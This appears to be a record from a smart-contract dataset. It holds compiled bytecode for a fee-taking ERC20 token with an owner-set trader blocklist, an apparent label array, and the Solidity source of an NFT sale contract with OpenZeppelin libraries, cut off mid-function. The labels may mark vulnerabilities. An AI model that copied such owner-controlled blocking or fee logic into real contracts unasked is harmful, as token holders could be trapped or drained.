ffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abb90613095565b915050610a0f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b086111ea565b73ffffffffffffffffffffffffffffffffffffffff1614610b2857600080fd5b6000610b333061074f565b9050610b3e81611cd3565b50565b610b496111ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcd90612cdf565b60405180910390fd5b601160149054906101000a900460ff1615610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90612d5f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb630601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006111f2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cfc57600080fd5b505afa158015610d10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3491906126fb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9657600080fd5b505afa158015610daa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dce91906126fb565b6040518363ffffffff1660e01b8152600401610deb929190612b4f565b602060405180830381600087803b158015610e0557600080fd5b505af1158015610e19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3d91906126fb565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ec63061074f565b600080610ed16108f3565b426040518863ffffffff1660e01b8152600401610ef396959493929190612ba1565b6060604051808303818588803b158015610f0c57600080fd5b505af1158015610f20573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f45919061287e565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550683635c9adc5dea000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611048929190612b78565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612855565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600061116783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fcd565b905092915050565b60008083141561118257600090506111e4565b600082846111909190612f3c565b905082848261119f9190612f0b565b146111df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d690612cbf565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125990612d3f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c990612c7f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113b09190612d7f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142490612d1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490612c3f565b60405180910390fd5b600081116114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790612cff565b60405180910390fd5b6000600a819055506014600b819055506114f86108f3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561156657506115366108f3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b257600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561160f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61161857600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116c35750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117195750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117315750601160179054906101000a900460ff165b156117e15760125481111561174557600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179057600080fd5b601e4261179d9190612eb5565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561188c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118f8576000600a819055506014600b819055505b60006119033061074f565b9050601160159054906101000a900460ff161580156119705750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119885750601160169054906101000a900460ff165b156119b05761199681611cd3565b600047905060008111156119ae576119ad47611a26565b5b505b505b6119bd838383612030565b505050565b6000838311158290611a0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a019190612c1d565b60405180910390fd5b5060008385611a199190612f96565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a89601f611a7b60648661112590919063ffffffff16565b61116f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ab4573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611b186017611b0a60648661112590919063ffffffff16565b61116f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b43573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ba76017611b9960648661112590919063ffffffff16565b61116f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bd2573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c366017611c2860648661112590919063ffffffff16565b61116f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c61573d6000803e3d6000fd5b5050565b6000600854821115611cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca390612c5f565b60405180910390fd5b6000611cb6612040565b9050611ccb818461112590919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d31577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d5f5781602001602082028036833780820191505090505b5090503081600081518110611d9d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3f57600080fd5b505afa158015611e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e7791906126fb565b81600181518110611eb1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1830601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111f2565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f7c959493929190612d9a565b600060405180830381600087803b158015611f9657600080fd5b505af1158015611faa573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083118290612014576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161200b9190612c1d565b60405180910390fd5b50600083856120239190612f0b565b9050809150509392505050565b61203b83838361206b565b505050565b600080600061204d612236565b91509150612064818361112590919063ffffffff16565b9250505090565b60008060008060008061207d87612298565b9550955095509550955095506120db86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461230090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061217085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121bc816123a8565b6121c68483612465565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122239190612d7f565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea00000905061226c683635c9adc5dea0000060085461112590919063ffffffff16565b82101561228b57600854683635c9adc5dea00000935093505050612294565b81819350935050505b9091565b60008060008060008060008060006122b58a600a54600b5461249f565b92509250925060006122c5612040565b905060008060006122d88e878787612535565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061234283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c2565b905092915050565b60008082846123599190612eb5565b90508381101561239e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239590612c9f565b60405180910390fd5b8091505092915050565b60006123b2612040565b905060006123c9828461116f90919063ffffffff16565b905061241d81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61247a8260085461230090919063ffffffff16565b6008819055506124958160095461234a90919063ffffffff16565b6009819055505050565b6000806000806124cb60646124bd888a61116f90919063ffffffff16565b61112590919063ffffffff16565b905060006124f560646124e7888b61116f90919063ffffffff16565b61112590919063ffffffff16565b9050600061251e82612510858c61230090919063ffffffff16565b61230090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061254e858961116f90919063ffffffff16565b90506000612565868961116f90919063ffffffff16565b9050600061257c878961116f90919063ffffffff16565b905060006125a582612597858761230090919063ffffffff16565b61230090919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006125d16125cc84612e34565b612e0f565b905080838252602082019050828560208602820111156125f057600080fd5b60005b858110156126205781612606888261262a565b8452602084019350602083019250506001810190506125f3565b5050509392505050565b60008135905061263981613420565b92915050565b60008151905061264e81613420565b92915050565b600082601f83011261266557600080fd5b81356126758482602086016125be565b91505092915050565b60008135905061268d81613437565b92915050565b6000815190506126a281613437565b92915050565b6000813590506126b78161344e565b92915050565b6000815190506126cc8161344e565b92915050565b6000602082840312156126e457600080fd5b60006126f28482850161262a565b91505092915050565b60006020828403121561270d57600080fd5b600061271b8482850161263f565b91505092915050565b6000806040838503121561273757600080fd5b60006127458582860161262a565b92505060206127568582860161262a565b9150509250929050565b60008060006060848603121561277557600080fd5b60006127838682870161262a565b93505060206127948682870161262a565b92505060406127a5868287016126a8565b9150509250925092565b600080604083850312156127c257600080fd5b60006127d08582860161262a565b92505060206127e1858286016126a8565b9150509250929050565b6000602082840312156127fd57600080fd5b600082013567ffffffffffffffff81111561281757600080fd5b61282384828501612654565b91505092915050565b60006020828403121561283e57600080fd5b600061284c8482850161267e565b91505092915050565b60006020828403121561286757600080fd5b600061287584828501612693565b91505092915050565b60008060006060848603121561289357600080fd5b60006128a1868287016126bd565b93505060206128b2868287016126bd565b92505060406128c3868287016126bd565b9150509250925092565b60006128d983836128e5565b60208301905092915050565b6128ee81612fca565b82525050565b6128fd81612fca565b82525050565b600061290e82612e70565b6129188185612e93565b935061292383612e60565b8060005b8381101561295457815161293b88826128cd565b975061294683612e86565b925050600181019050612927565b5085935050505092915050565b61296a81612fdc565b82525050565b6129798161301f565b82525050565b600061298a82612e7b565b6129948185612ea4565b93506129a4818560208601613031565b6129ad8161316b565b840191505092915050565b60006129c5602383612ea4565b91506129d08261317c565b604082019050919050565b60006129e8602a83612ea4565b91506129f3826131cb565b604082019050919050565b6000612a0b602283612ea4565b9150612a168261321a565b604082019050919050565b6000612a2e601b83612ea4565b9150612a3982613269565b602082019050919050565b6000612a51602183612ea4565b9150612a5c82613292565b604082019050919050565b6000612a74602083612ea4565b9150612a7f826132e1565b602082019050919050565b6000612a97602983612ea4565b9150612aa28261330a565b604082019050919050565b6000612aba602583612ea4565b9150612ac582613359565b604082019050919050565b6000612add602483612ea4565b9150612ae8826133a8565b604082019050919050565b6000612b00601783612ea4565b9150612b0b826133f7565b602082019050919050565b612b1f81613008565b82525050565b612b2e81613012565b82525050565b6000602082019050612b4960008301846128f4565b92915050565b6000604082019050612b6460008301856128f4565b612b7160208301846128f4565b9392505050565b6000604082019050612b8d60008301856128f4565b612b9a6020830184612b16565b9392505050565b600060c082019050612bb660008301896128f4565b612bc36020830188612b16565b612bd06040830187612970565b612bdd6060830186612970565b612bea60808301856128f4565b612bf760a0830184612b16565b979650505050505050565b6000602082019050612c176000830184612961565b92915050565b60006020820190508181036000830152612c37818461297f565b905092915050565b60006020820190508181036000830152612c58816129b8565b9050919050565b60006020820190508181036000830152612c78816129db565b9050919050565b60006020820190508181036000830152612c98816129fe565b9050919050565b60006020820190508181036000830152612cb881612a21565b9050919050565b60006020820190508181036000830152612cd881612a44565b9050919050565b60006020820190508181036000830152612cf881612a67565b9050919050565b60006020820190508181036000830152612d1881612a8a565b9050919050565b60006020820190508181036000830152612d3881612aad565b9050919050565b60006020820190508181036000830152612d5881612ad0565b9050919050565b60006020820190508181036000830152612d7881612af3565b9050919050565b6000602082019050612d946000830184612b16565b92915050565b600060a082019050612daf6000830188612b16565b612dbc6020830187612970565b8181036040830152612dce8186612903565b9050612ddd60608301856128f4565b612dea6080830184612b16565b9695505050505050565b6000602082019050612e096000830184612b25565b92915050565b6000612e19612e2a565b9050612e258282613064565b919050565b6000604051905090565b600067ffffffffffffffff821115612e4f57612e4e61313c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ec082613008565b9150612ecb83613008565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f0057612eff6130de565b5b828201905092915050565b6000612f1682613008565b9150612f2183613008565b925082612f3157612f3061310d565b5b828204905092915050565b6000612f4782613008565b9150612f5283613008565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f8b57612f8a6130de565b5b828202905092915050565b6000612fa182613008565b9150612fac83613008565b925082821015612fbf57612fbe6130de565b5b828203905092915050565b6000612fd582612fe8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061302a82613008565b9050919050565b60005b8381101561304f578082015181840152602081019050613034565b8381111561305e576000848401525b50505050565b61306d8261316b565b810181811067ffffffffffffffff8211171561308c5761308b61313c565b5b80604052505050565b60006130a082613008565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130d3576130d26130de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61342981612fca565b811461343457600080fd5b50565b61344081612fdc565b811461344b57600080fd5b50565b61345781613008565b811461346257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0d13b2d0242d23a69173e63f6d6167b966135b556edc93fa4c0cadd503daae164736f6c63430008040033
[ 13, 4, 5 ]
0xF241b1bE06597e14b3cf852F633f5b621909A057
// SPDX-License-Identifier: MIT pragma solidity >= 0.8.0; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; // Baby Princess Ape Club(B.P.A.C) contract BPAC is ERC721EnumerableUpgradeable, OwnableUpgradeable { using SafeMath for uint256; using SafeERC20 for IERC20; string baseURI; // Token name string internal ext_name; // Token symbol string internal ext_symbol; struct PaymentOption { address token_addr; uint256 price; } struct PaymentInfo { // A token address for payment: // 1. ERC-20 token address // 2. adderss(0) for ETH address token_addr; uint256 price; uint256 receivable_amount; } // public sale purchage limit: maxmimum number of NFT(s) user can buy uint32 public_sale_purchase_limit; // `presale limit` is part of the merkle proof, so it is not here // total NFT(s) in stock uint32 total_quantity; // whitelist sale start time uint32 presale_start_time; // public sale start time uint32 public_sale_start_time; // public sale end time uint32 public_sale_end_time; // total number of NFT(s) sold uint32 sold_quantity; // payment info, price/tokens, etc PaymentInfo[] payment_list; // treasury address, receiving ETH/tokens address payable treasury; // how many NFT(s) purchased: public sale mapping(address => uint32) public public_purchased_by_addr; // how many NFT(s) purchased: presale mapping(address => uint32) public presale_purchased_by_addr; // smart contract admin mapping(address => bool) public admin; // whitelist sale end time uint32 presale_end_time; // not used anymore, just leave it here to keep `storage` compatible uint32 reveal_start_time; mapping(bytes32 => bool) public merkleRoots; uint256 presale_price; function initialize( uint32 _public_sale_purchase_limit, uint32 _total_quantity, uint32 _presale_start_time, uint32 _presale_end_time, uint32 _public_sale_start_time, uint32 _public_sale_end_time, PaymentOption[] calldata _payment, bytes32 _merkle_root, address payable _treasury, uint256 _presale_price ) public initializer { // workaround: stack too deep baseURI = "https://raw.githubusercontent.com/PrincessApeClub/NFTAsset/master/"; ext_name = "Baby Princess Ape Club"; ext_symbol = "BPAC"; __ERC721_init(ext_name, ext_symbol); __ERC721Enumerable_init(); __Ownable_init(); public_sale_purchase_limit = _public_sale_purchase_limit; total_quantity = _total_quantity; presale_start_time = _presale_start_time; presale_end_time = _presale_end_time; public_sale_start_time = _public_sale_start_time; public_sale_end_time = _public_sale_end_time; for (uint256 i = 0; i < _payment.length; i++) { if (_payment[i].token_addr != address(0)) { require(IERC20(_payment[i].token_addr).totalSupply() > 0, "invalid ERC20 address"); } PaymentInfo memory payment = PaymentInfo(_payment[i].token_addr, _payment[i].price, 0); payment_list.push(payment); } merkleRoots[_merkle_root] = true; treasury = _treasury; presale_price = _presale_price; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked(baseURI, "json/", StringsUpgradeable.toString(tokenId), ".json")); } function _baseURI() internal view override virtual returns (string memory) { return baseURI; } function name() public view virtual override returns (string memory) { return ext_name; } function symbol() public view virtual override returns (string memory) { return ext_symbol; } function publicSaleMint(uint8 number_of_nft) external payable { require (public_sale_start_time < block.timestamp, "public sale not started"); require (public_sale_end_time >= block.timestamp, "public sale ended"); _mint(number_of_nft, true, payment_list[0].price); } function presaleMint( uint256 index, uint256 amount, bytes32 root, bytes32[] calldata proof ) external payable { // for this project, presale: `only 1 for each wallet` require (presale_start_time < block.timestamp, "presale not started"); require (presale_end_time >= block.timestamp, "presale expired"); require (merkleRoots[root], "invalid merkle root"); // validate whitelist user bytes32 leaf = keccak256(abi.encodePacked(index, msg.sender, amount)); require(MerkleProof.verify(proof, root, leaf), "not whitelisted"); require(presale_purchased_by_addr[msg.sender] < amount, "exceeds personal limit"); presale_purchased_by_addr[msg.sender] += 1; _mint(1, false, presale_price); } function _mint( uint8 number_of_nft, bool public_sale, uint256 price ) internal { require(tx.origin == msg.sender, "not real user"); uint32 bought_number = public_purchased_by_addr[msg.sender]; if (public_sale) { require((bought_number + number_of_nft) <= public_sale_purchase_limit, "exceeds public sale limit"); } require(sold_quantity < total_quantity, "no NFT left"); uint8 actual_number_of_nft = number_of_nft; if ((sold_quantity + number_of_nft) > total_quantity) { actual_number_of_nft = uint8(total_quantity - sold_quantity); } { uint256 total = price; total = total.mul(actual_number_of_nft); require(msg.value >= total, "not enough ETH"); uint256 eth_to_refund = msg.value - total; if ((number_of_nft > actual_number_of_nft) && (eth_to_refund > 0)) { address payable addr = payable(_msgSender()); addr.transfer(eth_to_refund); } { // transfer to treasury treasury.transfer(total); } payment_list[0].receivable_amount += total; } { for (uint256 i = 0; i < actual_number_of_nft; i++) { _safeMint(_msgSender(), totalSupply()); } if (public_sale) { public_purchased_by_addr[msg.sender] = bought_number + actual_number_of_nft; } sold_quantity = sold_quantity + actual_number_of_nft; } } function adminMint(uint256 count) external onlyAdmin { for (uint256 i = 0; i < count; i++) { _safeMint(_msgSender(), totalSupply()); } } function getNFTInfo() external view returns ( address _owner, string memory _name, uint32 _public_sale_purchase_limit, uint32 _total_quantity, uint32 _presale_start_time, uint32 _presale_end_time, uint32 _public_sale_start_time, uint32 _public_sale_end_time, uint32 _sold_quantity, PaymentInfo[] memory _payment_list, uint256 _presale_price ) { _owner = owner(); _name = name(); _public_sale_purchase_limit = public_sale_purchase_limit; _total_quantity = total_quantity; _presale_start_time = presale_start_time; _presale_end_time = presale_end_time; _public_sale_start_time = public_sale_start_time; _public_sale_end_time = public_sale_end_time; _sold_quantity = sold_quantity; _payment_list = payment_list; _presale_price = presale_price; } function setTime( uint32 _presale_start_time, uint32 _presale_end_time, uint32 _public_sale_start_time, uint32 _public_sale_end_time ) external onlyAdmin { presale_start_time = _presale_start_time; presale_end_time = _presale_end_time; public_sale_start_time = _public_sale_start_time; public_sale_end_time = _public_sale_end_time; } // reveal mystery box function setBaseURI(string memory _baseURI_) external onlyAdmin { baseURI = _baseURI_; } function setName(string memory _name) external onlyAdmin { ext_name = _name; } function setSymbol(string memory _symbol) external onlyAdmin { ext_symbol = _symbol; } function setPresalePrice(uint256 _presale_price) external onlyAdmin { presale_price = _presale_price; } function setMerkleRoot(bytes32 root) external onlyAdmin { merkleRoots[root] = true; } modifier onlyAdmin() { require(owner() == _msgSender() || admin[_msgSender()], "caller not admin"); _; } function addAdmin(address[] memory addrs) external onlyOwner { for (uint256 i = 0; i < addrs.length; i++) { admin[addrs[i]] = true; } } function removeAdmin(address[] memory addrs) external onlyOwner { for (uint256 i = 0; i < addrs.length; i++) { admin[addrs[i]] = false; } } function setTotalSuply(uint32 _total_quantity) external onlyOwner { total_quantity = _total_quantity; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, 